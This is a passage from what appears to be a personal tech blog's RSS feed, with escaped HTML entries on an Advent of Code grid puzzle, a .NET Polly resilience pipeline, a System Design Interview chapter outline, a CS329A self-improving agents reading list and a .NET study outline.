&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;Antinodes can occur at locations that contain other antennas. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day08"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href="#part-one"
 
 
 
 &gt;
 Part One
 
&lt;/a&gt;
 requires computing locations of antinodes. Given antennas
with frequency \(f\), I need to pairwise match them and compute their
antinodes. Being able to group all such antennas is useful for this puzzle.&lt;/p&gt;</description></item><item><title>Resilient App Development in .NET</title><link>https://www.curiosities.dev/computer-science/distributed-systems/resilient-app-development-dotnet/</link><pubDate>Sat, 19 Jul 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/resilient-app-development-dotnet/</guid><description>&lt;p&gt;&lt;code&gt;Microsoft.Extensions.Resilience&lt;/code&gt; and &lt;code&gt;Microsoft.Extensions.Http.Resilience&lt;/code&gt;
provide resilience mechanisms against transient failures. These two packages are
built on top of the open-source &lt;code&gt;Polly&lt;/code&gt; resilience library. &lt;span class="citation-ref"&gt;&lt;a href="#ResilientAppDevelopment"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Polly"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="build-a-resilience-pipeline"&gt;Build a Resilience Pipeline&lt;/h2&gt;
&lt;p&gt;Given a &lt;code&gt;ServiceCollection services&lt;/code&gt;, configure a keyed resilience pipeline as
follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;key&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Retry-Timeout&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;services&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;AddResiliencePipeline&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;key&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;builder&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;builder&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;AddRetry&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;RetryStrategyOptions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;ShouldHandle&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;PredicateBuilder&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;Handle&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;TimeoutRejectedException&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;builder&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;AddTimeout&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;TimeSpan&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;FromSeconds&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1.5&lt;/span&gt;&lt;span style="color:#111"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Other &lt;code&gt;Add*&lt;/code&gt; extension methods include &lt;code&gt;AddCircuitBreaker&lt;/code&gt;, &lt;code&gt;AddRateLimiter&lt;/code&gt;,
&lt;code&gt;AddConcurrencyLimiter&lt;/code&gt;, &lt;code&gt;AddFallback&lt;/code&gt;, and &lt;code&gt;AddHedging&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#ResilientAppDevelopment"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;AddResiliencePipeline&lt;/code&gt; separates the pipeline&amp;rsquo;s definition from its usage
points where it&amp;rsquo;s injected. This allows for convenient unit testing, e.g.,
supplying &lt;code&gt;ResiliencePipeline&amp;lt;T&amp;gt;.Empty&lt;/code&gt; for faster and less complicated tests.
&lt;span class="citation-ref"&gt;&lt;a href="#ResiliencePipelines"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>System Design Interview</title><link>https://www.curiosities.dev/todo/computer-science/system-design-interview/</link><pubDate>Sat, 12 Jul 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/system-design-interview/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='SysDesignInterview'&gt;
 
 System Design Interview&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Alex Xu.
 
 
 
 
 
 
 
 
 
 &lt;a href="https://openlibrary.org/search?isbn=979-8664653403" target="_blank" rel="noopener"&gt;
 ISBN: 979-8664653403 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Scale from Zero to Millions of Users&lt;/strong&gt;: single-server setup; database;
vertical scaling vs. horizontal scaling; load balancer; database replication;
cache; content delivery network (CDN); stateless web tier; data centers;
message queue; logging, metrics, and automation; database scaling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Back-of-the-envelope Estimation&lt;/strong&gt;: power of 2; latency numbers every
programmer should know; availability numbers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A Framework for System Design Interviews&lt;/strong&gt;: understand the problem and
establish design scope; propose high-level design and get buy-in; design deep
dive; wrap up.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a Rate Limiter&lt;/strong&gt;: where to put the rate limiter; algorithms for rate
limiting (token bucket, leaking bucket, fixed window counter, sliding window
log, sliding window counter); rate-limiting rules; exceeding the rate limit;
rate limiter in a distributed environment; performance optimization;
monitoring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design Consistent Hashing&lt;/strong&gt;: the rehashing problem; hash space and hash
ring; hash servers; hash keys; adding a server; removing a server; virtual
nodes; find affected keys.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a Key-Value Store&lt;/strong&gt;: single-server key-value store; distributed
key-value store (consistency, availability, partition tolerance); real-world
distributed systems; data partition; data replication; consistency;
inconsistency resolution; handling failures; system architecture diagram;
write path; read path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a Unique ID Generator in Distributed Systems&lt;/strong&gt;: multi-master
replication; UUIDs; ticket server; Twitter snowflake approach; timestamp;
sequence number.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a URL Shortener&lt;/strong&gt;: back of the envelope estimation; API endpoints;
URL redirecting; URL shortening; data model; hash function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a Web Crawler&lt;/strong&gt;: back of the envelope estimation; seed URLs; URL
frontier; HTML downloader; DNS resolver; content parser; content seen?;
content storage; URL extractor; URL filter; URL storage; web crawler workflow;
depth-first search vs. breadth-first search; distributed crawl; cache DNS
resolver; locality; short timeout; robustness; extensibility; detect and avoid
problematic content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a Notification System&lt;/strong&gt;: notification types (push, SMS, email);
contact gathering flow; notification send/receiving flow; prevent data loss;
exactly one delivery?; notification template; notification setting; rate
limiting; retry mechanism; security in push notifications; monitor queued
notifications; events tracking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a News Feed System&lt;/strong&gt;: newsfeed APIs; feed publishing; web servers;
fanout service; newsfeed building; newsfeed retrieval; cache architecture.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a Chat System&lt;/strong&gt;: polling; long-polling; web socket; stateless vs.
stateful services; 3P integration; scalability; storage; message table for 1:1
chat; message table for group chat; service discovery; message flows; message
synchronization; online presence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design a Search Autocomplete System&lt;/strong&gt;: query service; trie data structure;
limit max length of a prefix; cache top queries at each node; data gathering
service; aggregators; trie operations; scaling storage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design YouTube&lt;/strong&gt;: video uploading flow; video streaming flow; video
transcoding; directed acyclic graph (DAG) model; parallel video uploading;
place upload centers close to users; parallelism everywhere; pre-signed upload
URLs; protecting copyrighted videos; content delivery network; error handling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design Google Drive&lt;/strong&gt;: APIs; move away from single server; sync conflicts;
block servers; high consistency; metadata database; upload flow; download
flow; notification service; save storage space; failure handling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Learning Continues&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>CS 329A: Self-Improving AI Agents</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/cs329a-self-improving-ai-agents/</link><pubDate>Fri, 11 Jul 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/cs329a-self-improving-ai-agents/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='CS329A'&gt;
 
 Stanford CS329A | Self-Improving AI Agents&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Azalia Mirhoseini; Aakanksha Chowdhery; Mert Yuksekgonul; Jon Saad-Falcon.
 
 
 
 
 
 &lt;a href="https://cs329a.stanford.edu/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=cs329a.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;cs329a.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jul 11, 2025.
 
 
&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Test-time Compute Scaling
&lt;ul&gt;
&lt;li&gt;Large Language Monkeys: Scaling Inference Compute with Repeated Sampling&lt;/li&gt;
&lt;li&gt;Archon; An Architecture Search Framework for Inference-Time Techniques&lt;/li&gt;
&lt;li&gt;Scaling LLM Test-Time Compute Optimally Can Be More Effective Than Scaling
Model Parameters&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Self-Improvement Techniques with Verifiers:
&lt;ul&gt;
&lt;li&gt;Training Verifiers to Solve Math Word Problems&lt;/li&gt;
&lt;li&gt;Let&amp;rsquo;s Verify Step by Step&lt;/li&gt;
&lt;li&gt;Math-Shepherd: Verify and Reinforce LLMs Step-by-step Without Human
Annotations&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Self-Improvement Techniques with RL
&lt;ul&gt;
&lt;li&gt;Constitutional AI: Harmlessness from AI Feedback&lt;/li&gt;
&lt;li&gt;STaR: Bootstrapping Reasoning With Reasoning&lt;/li&gt;
&lt;li&gt;Beyond Human Data: Scaling Self-Training for Problem-Solving with Language
Models&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Self-Improvement Techniques with Search
&lt;ul&gt;
&lt;li&gt;Thinking Fast and Slow with Deep Learning and Tree Search&lt;/li&gt;
&lt;li&gt;Competitive-level Code Generation with AlphaCode&lt;/li&gt;
&lt;li&gt;AlphaCode 2 Technical Report&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Open-ended Agent Learning in the Era of Foundation Models
&lt;ul&gt;
&lt;li&gt;The AI Scientist: Towards Fully Automated Open-Ended Scientific Discovery&lt;/li&gt;
&lt;li&gt;Automated Design of Agentic Systems&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Augmenting LLMs with Tool Use/Actions
&lt;ul&gt;
&lt;li&gt;ReAct: Synergizing Reasoning and Acting in Language Models&lt;/li&gt;
&lt;li&gt;Toolformer: Language Models Can Teach Themselves to Use Tools&lt;/li&gt;
&lt;li&gt;RLEF: Grounding Code LLMs in Execution Feedback with Reinforcement Learning&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Planning and Multi-Step Reasoning
&lt;ul&gt;
&lt;li&gt;Language Agent Tree Search Unifies Reasoning, Acting, and Planning in
Language Models&lt;/li&gt;
&lt;li&gt;LLMs Still Can&amp;rsquo;t Plan; Can LRMs? A Preliminary Evaluation of OpenAI&amp;rsquo;s o1 on
PlanBench&lt;/li&gt;
&lt;li&gt;ADaPT: As-Needed Decomposition and Planning with Language Models&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reasoning Across Modalities
&lt;ul&gt;
&lt;li&gt;Navigating the Digital World as Humans Do: Universal Visual Grounding for
GUI Agents&lt;/li&gt;
&lt;li&gt;Developing a Computer Use Model&lt;/li&gt;
&lt;li&gt;The Dawn of GUI Agent: A Preliminary Study with Claude 3.5 Computer Use&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Benchmarks and Challenges in Evaluating Agents
&lt;ul&gt;
&lt;li&gt;SWE-bench: Can Language Models Resolve Real-World GitHub Issues?&lt;/li&gt;
&lt;li&gt;KernelBench: Can LLMs Write GPU Kernels?&lt;/li&gt;
&lt;li&gt;RE-Bench: Evaluating Frontier AI R&amp;amp;D Capabilities of Language Models Against
Human Experts&lt;/li&gt;
&lt;li&gt;MLE-Bench: Evaluating Machine Learning Agents on Machine Learning
Engineering&lt;/li&gt;
&lt;li&gt;\(\tao\)-bench: A Benchmark for Tool-Agent-User Interaction in Real-World
Domains&lt;/li&gt;
&lt;li&gt;GAIA: A Benchmark for General AI Assistants&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AI Coding Agents
&lt;ul&gt;
&lt;li&gt;SWE-Agent: Agent-Computer Interfaces Enable Automated Software Engineering&lt;/li&gt;
&lt;li&gt;SWE-Search: Enhancing Software Agents with Monte Carlo Tree Search and
Iterative Refinement&lt;/li&gt;
&lt;li&gt;SWE-bench Multimodal: Do AI Systems Generalize to Visual Software Domains?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Agent Orchestration Frameworks
&lt;ul&gt;
&lt;li&gt;AutoGen: Enabling Next-Gen LLM Applications via Multi-Agent Conversation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Augmenting LLMs with Retrieval/Memory
&lt;ul&gt;
&lt;li&gt;Can Long-Context Language Models Subsume Retrieval, RAG, SQL, and More?&lt;/li&gt;
&lt;li&gt;Contextual Retrieval&lt;/li&gt;
&lt;li&gt;MemGPT: Towards LLMs as Operating Systems&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Multimodal AI Agents&lt;/li&gt;
&lt;li&gt;Multi-agent Systems and Future Research Areas
&lt;ul&gt;
&lt;li&gt;Multi-agent Fine-tuning: Self Improvement with Diverse Reasoning Chains&lt;/li&gt;
&lt;li&gt;Mixture-of-Agents Enhances Large Language Model Capabilities&lt;/li&gt;
&lt;li&gt;CodeMonkeys: Scaling Test-Time Compute for Software Engineering&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>.NET</title><link>https://www.curiosities.dev/todo/computer-science/dotnet/</link><pubDate>Sun, 06 Jul 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/dotnet/</guid><description>&lt;p&gt;My current role is on a .NET project. Get good at navigating this ecosystem.
Using 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Advent of Code 2024 in C#
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 as the
playground.&lt;/p&gt;
&lt;h2 id="c-language-reference"&gt;C# Language Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Language Version&lt;/li&gt;
&lt;li&gt;Types:
&lt;ul&gt;
&lt;li&gt;Built-in Types; Value Types (integral; floating-point; bool; char;
enumeration; struct; ref struct; tuple; nullable value); Reference Types
(Built-in reference types; record; class; interface; nullable reference
types; collections; arrays); Void; Unmanaged Types; Default Values.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Keywords
&lt;ul&gt;
&lt;li&gt;Modifiers; Statement; Method Parameters; Namespace; Generic Type Constraint;
Access; Literal; Contextual; Query.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Operators and Expressions
&lt;ul&gt;
&lt;li&gt;Arithmetic; Boolean Logical; Bitwise and Shift; Collection; Equality;
Comparison; Member Access; Type-Testing; User-Defined Conversion;
Pointer-Related; Assignment; Lambda; Patterns; &lt;code&gt;+&lt;/code&gt; and &lt;code&gt;+=&lt;/code&gt;; &lt;code&gt;-&lt;/code&gt; and &lt;code&gt;-=&lt;/code&gt;;
&lt;code&gt;?:&lt;/code&gt;; &lt;code&gt;!&lt;/code&gt; (null-forgiving); &lt;code&gt;??&lt;/code&gt; and &lt;code&gt;??=&lt;/code&gt;; &lt;code&gt;=&amp;gt;&lt;/code&gt;; &lt;code&gt;::&lt;/code&gt;; &lt;code&gt;await&lt;/code&gt;; &lt;code&gt;default&lt;/code&gt;;
&lt;code&gt;delegate&lt;/code&gt;; &lt;code&gt;is&lt;/code&gt;; &lt;code&gt;nameof&lt;/code&gt;; &lt;code&gt;new&lt;/code&gt;; &lt;code&gt;sizeof&lt;/code&gt;; &lt;code&gt;stackalloc&lt;/code&gt;; &lt;code&gt;switch&lt;/code&gt;; &lt;code&gt;true&lt;/code&gt;
and &lt;code&gt;false&lt;/code&gt;; &lt;code&gt;with&lt;/code&gt;; Deconstruction; Operator Overloading.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Statements
&lt;ul&gt;
&lt;li&gt;Declaration; Exception-Handling; Iteration; Selection; Jump; &lt;code&gt;checked&lt;/code&gt; and
&lt;code&gt;unchecked&lt;/code&gt;; &lt;code&gt;fixed&lt;/code&gt;; &lt;code&gt;lock&lt;/code&gt;; &lt;code&gt;using&lt;/code&gt;; &lt;code&gt;yield&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Special Characters
&lt;ul&gt;
&lt;li&gt;Comments; Discard; &lt;code&gt;$&lt;/code&gt; String Interpolation; &lt;code&gt;@&lt;/code&gt; Verbatim Identifier; &lt;code&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/code&gt;
Raw String Literal.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Attributes Read by the Compiler
&lt;ul&gt;
&lt;li&gt;Global Attributes; Caller Information; Nullable Static Analysis;
Miscellaneous; Pseudo-Attributes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Unsafe Code and Pointers&lt;/li&gt;
&lt;li&gt;Preprocessor Directives&lt;/li&gt;
&lt;li&gt;Compiler Options
&lt;ul&gt;
&lt;li&gt;Language; Output; Input; Error and Warning; Code Generation; Security;
Resources; Miscellaneous; Advanced.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;XML Documentation Comments
&lt;ul&gt;
&lt;li&gt;Generate API Documentation; Recommended Tags&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="net-tools-and-diagnostics"&gt;.NET Tools and Diagnostics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;.NET Software Development Kit (SDK)
&lt;ul&gt;
&lt;li&gt;Environment variables; &lt;code&gt;dotnet-install&lt;/code&gt; Scripts; &lt;code&gt;global.json&lt;/code&gt;; Telemetry;
Signed-Package Verification; Artifacts Output Layout; Error Messages.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;.NET Command Line Interface (CLI)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dotnet&lt;/code&gt; Command; Elevated Access; Tab Completion; Library Development;
Create Templates.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Integrated Development Environment (IDE)
&lt;ul&gt;
&lt;li&gt;Visual Studio; Visual Studio Code.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;MSBuild and Project Files
&lt;ul&gt;
&lt;li&gt;Project SDKs; Target Frameworks; Dependency Management.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Global and Local Tools
&lt;ul&gt;
&lt;li&gt;Manage Tools; Troubleshoot Tools; Create CLI Tools.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Additional Tools
&lt;ul&gt;
&lt;li&gt;Uninstall; Install; Self-Signed Certificates; WCF Web Service Reference
Provider; WCF Service Utility; WCF Service XML Serializer; XML Serializer
Generator.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Diagnostics and Instrumentation
&lt;ul&gt;
&lt;li&gt;Managed Debuggers; Logging &amp;amp; Tracing; &lt;code&gt;ILogger&lt;/code&gt;; Observability with
OpenTelemetry; Resource Monitoring; App Health Checks; Metrics; Distributed
Tracing; Specialized Diagnostics; .NET CLI Global Tools; Unmanaged API.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;✅ Code Analysis
&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/linting-and-style/dotnet/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Configuration; General Options; Config Files; Suppressing Warnings; Code
Quality Rules; Code Style Rules; Platform Compatibility Analyzer;
Portability Analyzer
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SYSLIB Diagnostics:
&lt;ul&gt;
&lt;li&gt;Obsoletions; Experimental Features; Source-Generated Code.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="net-fundamentals"&gt;.NET Fundamentals&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Fundamental Coding Components
&lt;ul&gt;
&lt;li&gt;Base Types
&lt;ul&gt;
&lt;li&gt;Common Type System; Language Independence; Type Conversion; Anonymous
Types vs. Tuple Types; Class Library; &lt;code&gt;System.Object&lt;/code&gt;; &lt;code&gt;Nullable&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Generic Types
&lt;ul&gt;
&lt;li&gt;Collections; Delegates; Math; Interfaces; Covariance and Contra-variance.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Collections and Data Structures
&lt;ul&gt;
&lt;li&gt;Selection; Commonly Used Types; Selecting Generic Collections; Comparisons
and Sorts; Sorted Collection Types; Hashtable and Dictionary Types;
Thread-safe Collections.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Delegates and Lambdas&lt;/li&gt;
&lt;li&gt;Enumerations: &lt;code&gt;Enum&lt;/code&gt; and &lt;code&gt;FlagAttribute&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Events
&lt;ul&gt;
&lt;li&gt;Raise and Consume Events; Handle Multiple Events; Observer Design Pattern.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Exceptions
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;try&lt;/code&gt;-&lt;code&gt;catch&lt;/code&gt; Block; Catching Specific Exceptions; Explicitly Throwing;
User-Defined Exceptions (with Localized Messages); &lt;code&gt;finally&lt;/code&gt; Blocks;
User-Filtered Exception Handlers; COM Interop Exceptions; Best Practices.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Numeric Types
&lt;ul&gt;
&lt;li&gt;Boolean; Byte; Decimal; Double; Int32; Int64; BigInteger; Complex; Single.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dates, Times, and Time Zones
&lt;ul&gt;
&lt;li&gt;Choosing Between Types; Work With Calendars; &lt;code&gt;DateOnly&lt;/code&gt; and &lt;code&gt;TimeOnly&lt;/code&gt;;
Arithmetic Operations; &lt;code&gt;TimeProvider&lt;/code&gt; for Predictability; Support in
&lt;code&gt;System.Text.Json&lt;/code&gt;; Time Zones; &lt;code&gt;DateTime&lt;/code&gt;; &lt;code&gt;TimeSpan&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Attributes
&lt;ul&gt;
&lt;li&gt;Applying Attributes; Custom Attributes; Retrieve Information Stored in
Attributes.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Performance-Related Types
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Memory&amp;lt;T&amp;gt;&lt;/code&gt;; &lt;code&gt;Span&amp;lt;T&amp;gt;&lt;/code&gt;; SIMD-Enabled Types; Value Tuples.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Runtime Libraries
&lt;ul&gt;
&lt;li&gt;Format Numbers, Dates, and Other Types
&lt;ul&gt;
&lt;li&gt;Numeric Format Strings; Date and Time Format Strings; &lt;code&gt;TimeSpan&lt;/code&gt; Format
Strings; Enumeration Format Strings.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Work with Strings
&lt;ul&gt;
&lt;li&gt;Character Encoding; Comparing; Displaying and Persisting Formatted Data;
Basic String Operations; Parse (Convert) Strings; &lt;code&gt;String&lt;/code&gt;; &lt;code&gt;Char&lt;/code&gt;;
